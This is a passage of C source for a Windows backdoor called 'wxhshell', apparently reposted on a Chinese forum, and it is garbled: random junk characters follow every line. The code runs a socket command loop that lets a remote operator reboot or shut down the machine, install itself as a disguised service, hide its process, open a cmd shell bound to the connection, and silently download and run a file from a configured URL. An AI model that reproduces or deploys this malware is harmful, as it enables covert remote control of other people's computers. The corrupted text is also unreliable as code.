  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v[O?7Np  
  } &.P G2f*  
  else { _}tPtHPa/  
n _kE  
    switch(cmd[0]) { ' 1X^@]+6  
  ,>Dpt <  
  // 帮助 }H|'W[Q.  
  case '?': { F12$BK DH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5-UrHbpCZ#  
    break; kc<5wY_t  
  } lLLPvW[Q  
  // 安装 WG +]  
  case 'i': { K?>sP%m)  
    if(Install()) 9(lcQuE9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RV%)~S@!R  
    else sW76RKX8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? 0+N  
    break; M9?f`9  
    } F:8@ ]tA&  
  // 卸载 Q+s2S>U{v  
  case 'r': { d=dHY(ms]  
    if(Uninstall()) eu'~(_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ahFK^ #s  
    else <MoyL1=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ijKQ`}JA  
    break; S_38U  
    } XXxH<E$p  
  // 显示 wxhshell 所在路径 g @NwW&  
  case 'p': { p$cb&NNh*H  
    char svExeFile[MAX_PATH]; i!iG7X)qT  
    strcpy(svExeFile,"\n\r"); "bz]5c~  
      strcat(svExeFile,ExeFile); c-U]3`;Q  
        send(wsh,svExeFile,strlen(svExeFile),0); U^]@0vR  
    break; V>c !V9w   
    } J+}z*/)|#  
  // 重启 oWEzzMRz  
  case 'b': { m]c1DvQb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B qLL]%F  
    if(Boot(REBOOT)) 03"FK"2S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@$ A~/ YU  
    else { 6W:FT Pt44  
    closesocket(wsh); 5..YC=_20  
    ExitThread(0); %!8w)1U  
    } i`=%X{9  
    break; 9+ |W;  
    } I]BhkJ  
  // 关机 =MwR)CI#  
  case 'd': { Y(gai?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |XV`A)=f  
    if(Boot(SHUTDOWN)) N?O^"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]GD&EQ  
    else { ~i!I6d~  
    closesocket(wsh); }$LnjwM;,  
    ExitThread(0); 1fC)&4W  
    } KyBtt47\  
    break; 8Wgzca Q*  
    } /T+%q#4  
  // 获取shell uvJ&qd8M  
  case 's': { dA<_`GFR  
    CmdShell(wsh); JL>DRIR%NV  
    closesocket(wsh); 00@F?|-j  
    ExitThread(0); =sF4H_B  
    break; x=kJl GT  
  } z m]R76  
  // 退出 {a15s6'd  
  case 'x': { @!^Y_q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $k`j";8uR  
    CloseIt(wsh); 5 ed|]LP  
    break; (LJ7xoJ^  
    } ZrB(!L~7  
  // 离开 >< VUly  
  case 'q': { _&S;*?K.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gte\=0Wr  
    closesocket(wsh); iJ @p:  
    WSACleanup(); ,C|{_4  
    exit(1); /IF?|71,m  
    break; X*9-P9x(6  
        } >pe!T aBN  
  } j8aH*K-l{  
  } h6n!"z8H  
:#cJZ\YH  
  // 提示信息 ~+V$0Q;L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i:jns>E  
} 'H#0-V"=  
  } &WOm[]Q4  
+\?+cXSc  
  return; mq(-L  
} YL78cWOs  
&3 Ki  
// shell模块句柄 <{@D^L6h  
int CmdShell(SOCKET sock) \U##b~Z,g  
{ h B_p  
STARTUPINFO si; _>;{+XRX[  
ZeroMemory(&si,sizeof(si)); XVb9)a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L-9;"]d~|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i0*Cs#(=h  
PROCESS_INFORMATION ProcessInfo; T Qx<lw  
char cmdline[]="cmd"; 57O|e/2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IZ87Px>zL  
  return 0; wQ[!~>A  
} ]2YC7  
fRq+pUx U  
// 自身启动模式 0A-yQzL|  
int StartFromService(void) 1_l)$"  
{ pF9WKpzE  
typedef struct u:tcL-;U  
{ ei"c|/pO  
  DWORD ExitStatus; Onou:kmf1  
  DWORD PebBaseAddress; Q2:r WE{K!  
  DWORD AffinityMask; %oquHkX%OJ  
  DWORD BasePriority; %UhLCyC/  
  ULONG UniqueProcessId; *{5/" H5  
  ULONG InheritedFromUniqueProcessId; ;=k{[g 'gv  
}   PROCESS_BASIC_INFORMATION; ?GqH/ (O  
)rlkQ'DN  
PROCNTQSIP NtQueryInformationProcess; QpRk5NeLe  
Q laoa)d#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rBi6AM/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K\zb+  
} E[vW  
  HANDLE             hProcess; G9GHBwT  
  PROCESS_BASIC_INFORMATION pbi; \RRSrPLd-  
pp(?rE$S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .J8 gW  
  if(NULL == hInst ) return 0; 0AF,} &$  
TBky+]p@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =#[t!-@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OW@"j;6 3`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~wOMT  
Zsmv{p  
  if (!NtQueryInformationProcess) return 0; N9s.nu  
qk>SM| {  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yeBfzKI{b  
  if(!hProcess) return 0; XsDZ<j%x89  
Ts3!mjn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7=Pj}x)  
j>l  
  CloseHandle(hProcess); hJ8% r_  
2I& dTxIa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DY{v@ <3  
if(hProcess==NULL) return 0; G)c+GoK  
<a&xhG}  
HMODULE hMod; aQf2}kD  
char procName[255]; lQ4^I^?m  
unsigned long cbNeeded; _MuzD&^qE  
uXvE>VpJG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +$xw0)|  
7i'clB9!  
  CloseHandle(hProcess); )s4: &!  
N}<!k#d E  
if(strstr(procName,"services")) return 1; // 以服务启动 ~ 4Mz:h^  
g0;;+z  
  return 0; // 注册表启动 ld):Am}/o  
} EwgNd Gcj  
Cbl>eKw  
// 主模块 p GF;,h>  
int StartWxhshell(LPSTR lpCmdLine) }_}    
{ bj0<A  
  SOCKET wsl; #W l^!)#j?  
BOOL val=TRUE; ?^MH:o  
  int port=0; ]YfG`0eK<  
  struct sockaddr_in door; M?Q\ Hw  
#$L/pRC  
  if(wscfg.ws_autoins) Install(); O1\25D  
|1/8m/2Af.  
port=atoi(lpCmdLine); Aq7`A^1t$  
)OucJQ  
if(port<=0) port=wscfg.ws_port; 0pl'*r*9  
"u&7Y:)^wr  
  WSADATA data; mG\9Qkom|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,\#j6R,{I  
kmo#jITa`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' V*}d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #7]>ozKm  
  door.sin_family = AF_INET; \ bWy5/+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wZbT*rU  
  door.sin_port = htons(port); u$aN~6HG  
SG&H^V8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f)gV2f0t  
closesocket(wsl); Eza^Tbq%j?  
return 1; AE`UnlUSF  
} n "^rS}Y]  
1vCp<D9<  
  if(listen(wsl,2) == INVALID_SOCKET) { 0(9gTxdB  
closesocket(wsl); w@O)b-b|w  
return 1; ;`kOFg#`)c  
} S4_ZG>\VT  
  Wxhshell(wsl); fCnwDT  
  WSACleanup(); zV;NRf) 9.  
nD)SR  
return 0; zf5%|7o  
ZCb@!V}=  
} <{hB&4oL  
 j0O1??  
// 以NT服务方式启动 /L2n ~/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mo= @Zt  
{ <7B;_3/  
DWORD   status = 0; /R?*i@rvf  
  DWORD   specificError = 0xfffffff; X7:Dw]t  
dS \n 2Qb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3-n&&<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \ $t{K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NwQ$gDgu t  
  serviceStatus.dwWin32ExitCode     = 0; 3UZ_1nY  
  serviceStatus.dwServiceSpecificExitCode = 0; CDW| cr{  
  serviceStatus.dwCheckPoint       = 0; Qy=tkCN  
  serviceStatus.dwWaitHint       = 0; iEy2z+/"^  
J p%J02  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;j(*:Nt1  
  if (hServiceStatusHandle==0) return; /k^j'MMQs6  
I\rjw$V#  
status = GetLastError(); 9ao?\]&t  
  if (status!=NO_ERROR) 6& hiW]Adm  
{ 7Wiwnv_"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; glKPjL*  
    serviceStatus.dwCheckPoint       = 0; }g%&}`%'  
    serviceStatus.dwWaitHint       = 0; b}u#MU  
    serviceStatus.dwWin32ExitCode     = status; [xDIK8d:I  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9)j"|5H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '-G,7!.,r%  
    return; \,:7=  
  } wLt0Fq6QG  
99]s/KD2yb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LUz`P6  
  serviceStatus.dwCheckPoint       = 0; y^kC2DS   
  serviceStatus.dwWaitHint       = 0; a{%EHL,F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U~c9PqjZ  
} R iV]SgV 9  
F^TOLwix  
// 处理NT服务事件,比如:启动、停止 G4#Yz6O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /^&$ma\  
{ /jq"r-S"  
switch(fdwControl) !}1l8Y  
{ y] Cx[  
case SERVICE_CONTROL_STOP: ]#q$i[Y  
  serviceStatus.dwWin32ExitCode = 0; Aqg$q* Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CPP9=CoR37  
  serviceStatus.dwCheckPoint   = 0; SL^%Zh/~  
  serviceStatus.dwWaitHint     = 0; kjQI=:i=  
  { AP=SCq;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 -b~p  
  } 6G-XZko~a  
  return; K+yi_n L  
case SERVICE_CONTROL_PAUSE: &;Go CU Le  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S=~+e{  
  break; T).}~i;!  
case SERVICE_CONTROL_CONTINUE: {c&9}u$e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gK dNgU  
  break; "[Tr"nI  
case SERVICE_CONTROL_INTERROGATE: wc~9zh  
  break; E!I4I'  
}; .Dr7YquW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v yP_qG  
} y%YP  
DAEWa Kui  
// 标准应用程序主函数  e+@.n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7bJM $  
{ A7|x|mW  
'64/2x  
// 获取操作系统版本 jd 8g0^  
OsIsNt=GetOsVer(); &N %-.&t'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eMH\]A~v"  
*\Hut'7 d  
  // 从命令行安装 ~H]d9C  
  if(strpbrk(lpCmdLine,"iI")) Install(); /`O'eH  
5=4-IO6W[]  
  // 下载执行文件 n4ti{-^4|d  
if(wscfg.ws_downexe) { 3|Ar~_]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I&x69  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ww{-(Ktx  
} #e9XU:9 @g  
T(~^X-k  
if(!OsIsNt) { BTE&7/i 21  
// 如果时win9x,隐藏进程并且设置为注册表启动 SC2g5i`  
HideProc(); a<V Mh79*  
StartWxhshell(lpCmdLine); 52.hJNq#L  
} VrFI5_M/  
else mj y+_  
  if(StartFromService()) a$6pA@7}  
  // 以服务方式启动 E 6!V0D  
  StartServiceCtrlDispatcher(DispatchTable); F#efs6{  
else !}xRwkN  
  // 普通方式启动 D[Ld=e8t  
  StartWxhshell(lpCmdLine); uQWd`7  
^^)\| kW?  
return 0; VAa;XVmB  
}
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只看该作者 1 发表于: 2006-10-10
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